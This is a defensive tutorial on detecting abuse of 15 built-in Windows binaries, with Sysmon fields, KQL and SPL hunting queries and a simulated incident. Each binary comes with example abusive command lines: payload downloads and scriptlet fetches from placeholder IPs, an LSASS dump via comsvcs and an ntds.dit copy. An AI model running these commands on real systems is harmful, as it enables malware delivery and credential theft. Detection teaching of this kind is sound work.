Skip to main content

Tutorials

LOLBins List: 15 Windows Binaries and How to Detect Each

15 Windows LOLBins with their ATT&CK v20 technique, abusive vs normal command line, the Sysmon fields that expose them and the usual false positive.

A row of identical dark graphite cylinders on a near-black background, one glowing amber from inside through a thin seam
On this page

LOLBins (living-off-the-land binaries) are programs that ship with Windows, are signed by Microsoft and can be pushed into doing an attacker's job: downloading a payload, running a script or loading a DLL while looking like routine system activity. The canonical list is the LOLBAS project, which on November 9, 2026 documented 136 Windows binaries plus 109 libraries, scripts and other Microsoft tools. This guide picks 15 of them, using the criteria further down.

For each one this guide gives the ATT&CK v20 technique, a normal command line next to an abusive one, the Sysmon Event ID 1 fields that give it away and the false positive that will fill your queue first. If the concept itself is new, the living off the land glossary entry covers it in five minutes. At the end there are a KQL query for Defender XDR and an SPL search for Sysmon, both meant as starting points, and a worked example.

How the 15 were picked

LOLBAS documents what each binary can do, with no weighting for how often attackers use it. We kept a binary only if it met all four of these:

  1. It is present by default on Windows 10 and 11, or on any machine with the .NET Framework.
  2. LOLBAS documents an execute or download use for it, not only an alternate data stream trick.
  3. ATT&CK maps it to a technique with documented procedure examples, meaning named groups or malware families that used it.
  4. It shows up in public incident reporting, such as the Volt Typhoon advisory AA23-144A from CISA and partners.

Counts of procedure examples come from each technique page on attack.mitre.org, read on November 9, 2026. They measure how often the binary has been documented, not how often it is used, so treat them as a ranking hint.

The LOLBins list at a glance

BinaryATT&CK v20What the attacker does with itSignal in Sysmon Event 1Typical false positive
certutil.exeT1105, T1140Downloads a file, decodes base64-urlcache, -verifyctl or -decode in CommandLinecertutil -hashfile in admin and build scripts
mshta.exeT1218.005Runs an HTA or inline script, local or remoteURL, javascript: or vbscript: in CommandLine; parent explorer.exeLegacy HTA tools, some printer software
rundll32.exeT1218.011Loads a malicious DLL, dumps LSASS via comsvcsDLL in a user folder, no arguments at all, MiniDumpControl Panel applets and printer dialogs
regsvr32.exeT1218.010Fetches and runs a scriptlet (.sct)scrobj.dll with /i: and a URLInstallers registering their own DLLs with /s
msiexec.exeT1218.007Installs a package straight from a URLhttp in CommandLine; Office or browser parentIntune and SCCM silent installs
bitsadmin.exeT1197Downloads files, persists via notify command/transfer, /addfile or /SetNotifyCmdLineOld updaters and admin scripts
wmic.exeT1047, T1220Starts processes locally or remotely, runs XSLprocess call create, /node:, /format: with a URLInventory scripts (wmic qfe, wmic os get)
cmstp.exeT1218.003Runs commands from a crafted .inf file/s with an .inf outside System32; any child processVPN Connection Manager profiles (rare)
installutil.exeT1218.004Runs code in an assembly's uninstall routine/U on a DLL in a user-writable path.NET service installs by admins
msbuild.exeT1127.001Compiles and runs inline C# from a project fileProject file in Temp or Downloads; non-developer parentDeveloper workstations and build agents
regasm.exe / regsvcs.exeT1218.009Runs code from a .NET assembly during (un)registrationAssembly in a user-writable path; outbound connectionsSoftware installers registering COM components
forfiles.exeT1202Launches a command as its child to break parent-child rules/c running a shell, script host or LOLBinLog cleanup scripts (/d -30 /c "cmd /c del @path")
esentutl.exeT1003.003, T1105Copies a locked ntds.dit via VSS, copies files/vss with ntds.dit, or /y on browser WebCacheBackup jobs and forensic collection
odbcconf.exeT1218.008Registers and runs an arbitrary DLL/a {REGSVR ...} or -f with a .rsp fileODBC driver installers
wscript.exe / cscript.exeT1059.005, T1059.007Runs a VBScript or JScript dropperScript in Downloads, Temp or an extracted ZIP; parent explorer.exeGPO logon scripts, cscript slmgr.vbs

The four fields that catch LOLBins

Every row above relies on process creation logging. With Sysmon that is Event ID 1, and the Sysmon event IDs guide explains how to keep it on without drowning. Four of its fields do most of the work:

  • Image: the full path. C:\Windows\System32\ or SysWOW64 is expected. A LOLBin running from C:\Users\Public\ is already a finding.
  • CommandLine: where the abuse is visible. Most of the signals in the table are strings in this field.
  • ParentImage: what started it. mshta.exe launched by explorer.exe with a URL in its command line usually means a user pasted something into the Run dialog, which is what fake CAPTCHA lures ask for.
  • OriginalFileName: the name compiled into the file's version resource. Attackers copy and rename binaries to dodge Image filters, which ATT&CK tracks as Masquerading (T1036), sub-technique T1036.003. The version info travels with the copy.

If you only have Security Event 4688, you get the path, the command line (once command-line auditing is enabled) and the parent, but no OriginalFileName. The Windows event IDs cheat sheet shows what else that log covers.

15 LOLBins and how to detect each

1. Certutil.exe

A certificate tool that downloads files and decodes base64. ATT&CK maps the download to Ingress Tool Transfer (T1105), under Command and Control, and the decoding to T1140, under Stealth. CISA lists certutil among the tools Volt Typhoon used for discovery, lateral movement and collection.

Normal:   certutil -hashfile C:\Tools\setup.exe SHA256
Abusive:  certutil.exe -urlcache -f http://198.51.100.7/a.txt C:\Users\Public\a.exe
Abusive:  certutil -decode C:\Users\Public\a.b64 C:\Users\Public\a.dll

Signal: -urlcache, -verifyctl or -URL with a remote address, or -decode and -decodehex. False positive: -hashfile and -store are everywhere in admin scripts and should never alert on their own.

2. Mshta.exe

Runs HTML Applications, including VBScript or JScript passed inline. T1218.005, 30 procedure examples. The page cites two reports on fake CAPTCHA pages that delivered Lumma Stealer this way.

Normal:   mshta.exe C:\Program Files\Vendor\setup.hta
Abusive:  mshta.exe https://203.0.113.24/verify
Abusive:  mshta.exe vbscript:Close(Execute("GetObject(""script:https://203.0.113.24/x.sct"")"))

Signal: a URL, javascript: or vbscript: in CommandLine; ParentImage of explorer.exe, an Office app or a browser; any child powershell.exe or cmd.exe. False positive: older internal tools built as HTAs, plus printer and HP software, which Sigma's mshta child-process rule lists as known false positives.

3. Rundll32.exe

Loads a DLL and calls an exported function. T1218.011 has 103 procedure examples, the most of the T1218 sub-techniques here. LOLBAS also documents rundll32 C:\windows\system32\comsvcs.dll MiniDump <lsass PID> dump.bin full, a one-liner LSASS dump that maps to T1003.001.

Normal:   rundll32.exe shell32.dll,Control_RunDLL desk.cpl
Abusive:  rundll32.exe C:\Users\a.ruiz\AppData\Local\Temp\upd.dat,DllRegisterServer
Abusive:  rundll32.exe

Signal: a DLL (often with a non-DLL extension) in a user-writable folder; comsvcs with MiniDump; javascript: with mshtml,RunHTMLApplication; and no arguments at all, which SigmaHQ ties to Cobalt Strike beacon activity. False positive: high legitimate volume from Control Panel applets, printui.dll and vendor software. Baseline by DLL path and export.

4. Regsvr32.exe

Registers COM DLLs. The "Squiblydoo" trick makes it fetch a scriptlet and run it through scrobj.dll. T1218.010, 36 procedure examples.

Normal:   regsvr32.exe /s "C:\Program Files\Vendor\plugin.dll"
Abusive:  regsvr32 /s /n /u /i:http://198.51.100.7/file.sct scrobj.dll

Signal: scrobj.dll together with /i:, especially with a URL; a DLL loaded from Temp or Downloads; a regsvr32.exe that makes a network connection (Sysmon Event 3). False positive: installers registering their own DLLs from Program Files with /s.

5. Msiexec.exe

The Windows Installer can install a package straight from a URL, or load a DLL with /y or /z. T1218.007, 31 procedure examples.

Normal:   msiexec.exe /i C:\Deploy\agent.msi /qn
Abusive:  msiexec /q /i http://203.0.113.24/update.msi

Signal: http or https in CommandLine; /y or /z with a DLL path; a parent that is an Office app, a browser, wscript.exe or mshta.exe. False positive: quiet installs are normal when the parent is your software deployment agent (Intune, Configuration Manager). Exclude by parent, not by flag.

6. Bitsadmin.exe

Manages Background Intelligent Transfer Service jobs, which download quietly and survive reboots. A job's notify command can also run a program when the transfer finishes. BITS Jobs (T1197) covers Stealth, Persistence and Execution in v20.

Normal:   bitsadmin /list /allusers
Abusive:  bitsadmin /transfer job /download /priority high http://198.51.100.7/p.exe C:\Users\Public\p.exe

Signal: /transfer, /addfile or /SetNotifyCmdLine with a remote URL or a user-writable destination. False positive: a few older updaters and admin scripts. Windows Update uses the BITS service, not bitsadmin.exe, so it does not trip this.

7. Wmic.exe

Starts processes locally or on another host, and /format: can pull and run a remote XSL file (T1220). The process creation maps to Windows Management Instrumentation (T1047). In AA23-144A, Volt Typhoon ran wmic process call create to launch ntdsutil and copy the Active Directory database.

Normal:   wmic qfe list brief
Abusive:  wmic /node:192.0.2.14 process call create "cmd.exe /c whoami > C:\Windows\Temp\o.txt"
Abusive:  wmic process get brief /format:"https://203.0.113.24/x.xsl"

Signal: process call create, /node: or /format: with a URL or share. False positive: inventory scripts and old management agents. Microsoft deprecated WMIC in Windows 10 21H1, and its WMIC page says that since August 2026, Windows 11 24H2 and 25H2 no longer include it and it cannot be added back as a Feature on Demand. On those builds the false positives disappear, and any wmic.exe execution deserves a look at where the file came from. The page names only those two Windows 11 versions, so expect it on Windows 10 and Windows Server hosts.

8. Cmstp.exe

Installs Connection Manager profiles from an .inf file, and that file can run commands. T1218.003, 4 procedure examples; the ATT&CK page also describes its use for UAC bypass.

Normal:   cmstp.exe C:\Windows\System32\corpvpn.inf
Abusive:  cmstp.exe /ni /s C:\Users\Public\x.inf

Signal: /s with an .inf outside System32, and any child process of cmstp.exe. False positive: legitimate VPN profiles, which Sigma's cmstp rule calls "unlikely in modern enterprise environments". Few environments need cmstp at all.

9. InstallUtil.exe

A .NET Framework tool that runs the installer classes in an assembly. Put the payload in an installer class and a signed Microsoft binary executes it; LOLBAS's example uses the /U uninstall path. T1218.004, 6 procedure examples.

Normal:   InstallUtil.exe "C:\Program Files\Vendor\Service.exe"
Abusive:  InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Public\a.dll

Signal: /U with an assembly in a user-writable folder, and empty /logfile=. False positive: admins installing .NET Windows services from Program Files.

10. MSBuild.exe

Compiles and runs project files, and an inline task in a .csproj or .xml can contain arbitrary C#. T1127.001, under Stealth and Execution.

Normal:   MSBuild.exe C:\src\App\App.sln /p:Configuration=Release
Abusive:  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\a.ruiz\AppData\Local\Temp\t.xml

Signal: project file in Temp, Downloads or AppData; ParentImage of an Office app, script host or explorer.exe; outbound connections from MSBuild.exe. False positive: developer machines and build agents, where devenv.exe, dotnet.exe or the CI agent is the parent. Scope the rule to non-developer hosts.

11. Regasm.exe and Regsvcs.exe

Two .NET tools that register assemblies for COM. ATT&CK notes that the [ComRegisterFunction] and [ComUnregisterFunction] attributes let an assembly run code during registration or unregistration. One sub-technique, T1218.009, covers both.

Normal:   RegAsm.exe "C:\Program Files\Vendor\Interop.dll" /codebase
Abusive:  regasm.exe /U C:\Users\Public\a.dll

Signal: an assembly in a user-writable path, an unusual extension, or a network connection from either binary. False positive: software installers registering COM components from their install folder.

12. Forfiles.exe

Runs a command for each matching file. Attackers use it to launch a payload as a child of forfiles.exe, which breaks detections that expect cmd.exe as the parent. ATT&CK files this under Indirect Command Execution (T1202).

Normal:   forfiles /p D:\Logs /d -30 /c "cmd /c del @path"
Abusive:  forfiles /p c:\windows\system32 /m notepad.exe /c "mshta https://203.0.113.24/verify"

Signal: /c that runs a script host, PowerShell or another LOLBin, and LOLBAS's /m notepad.exe pattern, which matches one known file only to get one execution. False positive: log rotation and cleanup scripts. Those rarely touch System32.

13. Esentutl.exe

A database utility for the Extensible Storage Engine that can copy locked files through the Volume Shadow Copy service. That makes it a way to grab ntds.dit, which maps to OS Credential Dumping (T1003) sub-technique T1003.003, or browser history databases.

Normal:   esentutl /mh C:\Windows\SoftwareDistribution\DataStore\DataStore.edb
Abusive:  esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d C:\Windows\Temp\n.dit

Signal: /vss with ntds.dit, or /y copying a WebCache file. On a domain controller the first one is an incident until proven otherwise. False positive: backup software and forensic collection, as the Sigma rule for sensitive esentutl copies notes.

14. Odbcconf.exe

Configures ODBC drivers, and its REGSVR action loads any DLL you give it. T1218.008, 3 procedure examples. Its legitimate use is narrow (installing and configuring ODBC drivers), so anything else stands out.

Normal:   odbcconf /a {INSTALLDRIVER "Vendor ODBC Driver|Driver=vendorodbc.dll"}
Abusive:  odbcconf /a {REGSVR C:\Users\Public\a.dll}

Signal: REGSVR with a DLL outside Program Files or System32, or -f with a .rsp response file. False positive: database driver installers. Check the DLL's path and signer.

15. Wscript.exe and Cscript.exe

The Windows Script Host runs VBScript and JScript files. ATT&CK maps the execution to T1059.005 (Visual Basic, 131 procedure examples) and T1059.007 (JavaScript, 78), both under Execution. Some of those examples use other interpreters. A .js or .vbs attachment opened with a double-click runs through wscript.exe.

Normal:   cscript //nologo C:\Windows\System32\slmgr.vbs /dli
Abusive:  wscript.exe "C:\Users\a.ruiz\Downloads\Invoice_4471.js"

Signal: a .js, .jse, .vbs, .vbe or .wsf in Downloads, Temp or a ZIP extraction folder, launched by explorer.exe; child powershell.exe, rundll32.exe or msiexec.exe. False positive: GPO logon scripts from \\<domain>\NETLOGON and slmgr.vbs for licensing.

Hunting queries: KQL and SPL

Both queries cover all 15 and add a renamed-binary check. Treat them as starting points: run them over a week of data, read what comes back and add exclusions for your own deployment agents, build servers and admin scripts. The Kusto Query Language guide explains the operators if KQL is new to you.

Microsoft Defender XDR (DeviceProcessEvents). The column names come from Microsoft's DeviceProcessEvents reference.

let lolbins = dynamic(["certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","msiexec.exe",
    "bitsadmin.exe","wmic.exe","cmstp.exe","installutil.exe","msbuild.exe","regasm.exe",
    "regsvcs.exe","forfiles.exe","esentutl.exe","odbcconf.exe","wscript.exe","cscript.exe"]);
let suspParents = dynamic(["winword.exe","excel.exe","powerpnt.exe","outlook.exe",
    "wscript.exe","cscript.exe","mshta.exe","explorer.exe"]);
let userPath = @"\\(users|temp|programdata|appdata|downloads)\\";
DeviceProcessEvents
| where Timestamp > ago(7d)
| extend Orig = tolower(ProcessVersionInfoOriginalFileName), Name = tolower(FileName),
         Cmd = tolower(ProcessCommandLine), Parent = tolower(InitiatingProcessFileName)
| extend Bin = iff(isnotempty(Orig), Orig, Name)
| where Bin in (lolbins)
| extend Reason = case(
    isnotempty(Orig) and Name != Orig, "renamed LOLBin",
    Bin == "certutil.exe" and Cmd has_any ("urlcache", "verifyctl", "decode", "decodehex"), "certutil download or decode",
    Bin == "mshta.exe" and Cmd has_any ("http", "https", "javascript", "vbscript"), "mshta remote or inline script",
    Bin == "rundll32.exe" and (Cmd has_any ("javascript", "minidump") or Cmd matches regex userPath
        or Cmd matches regex @"rundll32(\.exe)?""?\s*$"), "rundll32 user-path DLL, dump or no arguments",
    Bin == "regsvr32.exe" and (Cmd has "scrobj" or Cmd has_any ("http", "https")), "regsvr32 scriptlet",
    Bin == "msiexec.exe" and (Cmd has_any ("http", "https") or Cmd matches regex @"\s[/-][yz]\s"), "msiexec remote package or DLL",
    Bin == "bitsadmin.exe" and Cmd has_any ("transfer", "addfile", "setnotifycmdline"), "bitsadmin transfer or notify",
    Bin == "wmic.exe" and (Cmd has_any ("node", "format") or (Cmd has "process" and Cmd has "create")), "wmic remote, xsl or process create",
    Bin == "cmstp.exe" and Cmd contains ".inf", "cmstp with inf",
    Bin in ("installutil.exe", "regasm.exe", "regsvcs.exe") and Cmd matches regex userPath, "assembly from user path",
    Bin == "msbuild.exe" and Parent in (suspParents), "msbuild from unusual parent",
    Bin == "forfiles.exe" and Cmd has_any ("powershell", "mshta", "rundll32", "regsvr32", "http"), "forfiles proxy execution",
    Bin == "esentutl.exe" and Cmd has_any ("ntds", "vss", "webcache"), "esentutl sensitive copy",
    Bin == "odbcconf.exe" and (Cmd has "regsvr" or Cmd matches regex @"\s[/-]f\s"), "odbcconf dll or response file",
    Bin in ("wscript.exe", "cscript.exe") and Parent == "explorer.exe" and Cmd matches regex userPath, "script from user folder",
    "")
| where isnotempty(Reason)
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName,
          ProcessVersionInfoOriginalFileName, ProcessCommandLine, Reason
| order by Timestamp desc

Splunk on Sysmon Event 1 (XmlWinEventLog). This assumes the Splunk Add-on for Sysmon, which extracts the XML fields under their Sysmon names.

source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval orig=lower(OriginalFileName), name=lower(mvindex(split(Image,"\\"),-1)),
       cmd=lower(CommandLine), parent=lower(mvindex(split(ParentImage,"\\"),-1))
| eval orig=if(orig="-" OR orig="?", null(), orig), bin=coalesce(orig, name)
| where in(bin, "certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe","msiexec.exe",
    "bitsadmin.exe","wmic.exe","cmstp.exe","installutil.exe","msbuild.exe","regasm.exe",
    "regsvcs.exe","forfiles.exe","esentutl.exe","odbcconf.exe","wscript.exe","cscript.exe")
| eval userpath=if(match(cmd, "\\\\(users|temp|programdata|appdata|downloads)\\\\"), 1, 0)
| eval reason=case(
    isnotnull(orig) AND name!=orig, "renamed LOLBin",
    bin="certutil.exe" AND match(cmd, "urlcache|verifyctl|-decode|-url "), "certutil download or decode",
    bin="mshta.exe" AND match(cmd, "https?:|javascript:|vbscript:"), "mshta remote or inline script",
    bin="rundll32.exe" AND (match(cmd, "javascript:|minidump") OR userpath=1 OR match(cmd, "rundll32(\.exe)?\"?\s*$")), "rundll32 user-path DLL, dump or no arguments",
    bin="regsvr32.exe" AND match(cmd, "scrobj|https?:"), "regsvr32 scriptlet",
    bin="msiexec.exe" AND match(cmd, "https?:|\s[/-][yz]\s"), "msiexec remote package or DLL",
    bin="bitsadmin.exe" AND match(cmd, "/transfer|/addfile|/setnotifycmdline"), "bitsadmin transfer or notify",
    bin="wmic.exe" AND match(cmd, "/node:|/format:|process\s+call\s+create"), "wmic remote, xsl or process create",
    bin="cmstp.exe" AND match(cmd, "\.inf"), "cmstp with inf",
    in(bin, "installutil.exe","regasm.exe","regsvcs.exe") AND userpath=1, "assembly from user path",
    bin="msbuild.exe" AND in(parent, "winword.exe","excel.exe","powerpnt.exe","outlook.exe","wscript.exe","cscript.exe","mshta.exe","explorer.exe"), "msbuild from unusual parent",
    bin="forfiles.exe" AND match(cmd, "powershell|mshta|rundll32|regsvr32|https?:"), "forfiles proxy execution",
    bin="esentutl.exe" AND match(cmd, "ntds|/vss|webcache"), "esentutl sensitive copy",
    bin="odbcconf.exe" AND match(cmd, "regsvr|\s[/-]f\s"), "odbcconf dll or response file",
    in(bin, "wscript.exe","cscript.exe") AND parent="explorer.exe" AND userpath=1, "script from user folder")
| where isnotnull(reason)
| table _time host User ParentImage Image OriginalFileName CommandLine reason

If your team writes detections once and converts them, the same logic fits in a Sigma rule with logsource: category: process_creation; how Sigma rules work shows the format. SigmaHQ's process creation folder already has per-binary rules for most of these, with false-positive notes worth reading before you write your own.

Common mistake: matching on the file name

A rule that filters on Image ending in \certutil.exe is blind to a copy at C:\Users\Public\cu.exe. The fix is the renamed-binary check both queries start with: when OriginalFileName says CertUtil.exe and the file on disk is called something else, alert, whatever the arguments.

The opposite mistake is alerting on the name alone. Rundll32 and msiexec run all day in a normal estate, so a rule that fires on every execution gets tuned out or disabled, and then nothing covers the binary. Put the abuse pattern in the rule, and the binary name only in the filter.

Worked example: mshta to a renamed certutil

Note

Simulated example generated by SOCSimulator Research. Host, user and addresses are fictional; IPs are from documentation ranges.

UtcTimeImageOriginalFileNameParentImageCommandLine
09:41:02C:\Windows\System32\mshta.exeMSHTA.EXEC:\Windows\explorer.exemshta.exe https://203.0.113.24/verify
09:41:05C:\Windows\System32\cmd.exeCmd.ExeC:\Windows\System32\mshta.execmd /c copy C:\Windows\System32\certutil.exe C:\Users\Public\cu.exe
09:41:06C:\Users\Public\cu.exeCertUtil.exeC:\Windows\System32\cmd.execu.exe -urlcache -f http://198.51.100.7/p.dat C:\Users\Public\p.dat
09:41:09C:\Windows\System32\rundll32.exeRUNDLL32.EXEC:\Windows\System32\cmd.exerundll32.exe C:\Users\Public\p.dat,DllRegisterServer

How to work it:

  1. Start from the parent. mshta.exe under explorer.exe with a bare URL is a user running something from the Run dialog. Ask the user what they pasted and where the instruction came from. A fake CAPTCHA page is the usual answer.
  2. The renamed copy is the strongest evidence. Row 3 fails an Image filter for certutil and hits the OriginalFileName check. Nothing legitimate copies certutil to C:\Users\Public before using it.
  3. The DLL has no DLL extension. Row 4 loads p.dat from a user-writable folder, which is the rundll32 signal from the list. Pull its hash from Event 1 and check Event 3 for outbound connections from that rundll32 process.
  4. Scope it. Search the fleet for 203.0.113.24 and 198.51.100.7 in DNS and proxy logs, and for any OriginalFileName of CertUtil.exe outside System32 in the last 30 days.

The ClickFix fake CAPTCHA operation in SOCSimulator starts from the same kind of mshta execution, if you want to work one end to end in a SIEM and XDR console.

Practice LOLBin triage on realistic alerts

Trace process trees across SIEM, XDR and Firewall consoles and get scored on every call. The free tier includes all three.

Start training now

Frequently asked questions

Is PowerShell a LOLBin?

In the everyday sense, yes: it ships with Windows, it is signed by Microsoft and attackers use it constantly. The LOLBAS project files it differently. Its criteria require 'unexpected' functionality, and running code is what PowerShell is for, so powershell.exe sits in the Honorable Mentions folder (added April 2024) instead of the main binaries list. ATT&CK tracks it as T1059.001 under Command and Scripting Interpreter. For detection, treat it like any LOLBin: look at the command line, the parent and the user, and turn on Script Block Logging so you see the decoded script.

What is the LOLBAS project?

LOLBAS (Living Off The Land Binaries, Scripts and Libraries) is an open GitHub project that documents Microsoft-signed files with abusable functionality: download, execute, compile, copy, dump credentials, bypass UAC and so on. Each entry lists example command lines, the ATT&CK ID, the file paths and links to detections. On November 9, 2026 the repository held 136 OS binaries, 17 OS libraries, 10 OS scripts and 82 other Microsoft binaries. The website is lolbas-project.github.io; the YAML source is on GitHub under GPL-3.0.

How do you detect LOLBins?

Log process creation with the full command line (Sysmon Event ID 1, or Security 4688 with command-line auditing on, or your EDR's process table). Then look for three things per binary: arguments the binary never needs in normal use (a URL for certutil, javascript: for mshta, scrobj.dll for regsvr32), an odd parent (an Office app, a script host or the Run dialog), and a mismatch between the file name on disk and its OriginalFileName, which catches renamed copies. Alerting on the binary name alone drowns you in admin activity.

Are there LOLBins on Linux?

Yes. The Linux and macOS counterpart of LOLBAS is GTFOBins, which describes itself as a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. Typical entries are find, tar, vim, python or curl used to spawn a shell, read protected files or escalate through sudo or SUID. The detection logic is the same as on Windows: process creation with command line and parent, from auditd, Sysmon for Linux or an EDR.

NG

Written by

Nerea Guallar

Marketing, SOCSimulator

Nerea writes SOCSimulator's guides for people starting or growing a career in security operations: how Windows authentication shows up in the logs (NTLM vs Kerberos), and which tools a T1, T2 or T3 analyst opens first. Each guide is built around the questions a new analyst actually has on shift, with real event IDs and queries to practice on.

Field notes

New walkthroughs and detections, in your inbox

A short email when we publish something worth your time. No spam, unsubscribe in one click.

Community

Continue the conversation

Discuss this with analysts who are actively training and working in the field.

Join the community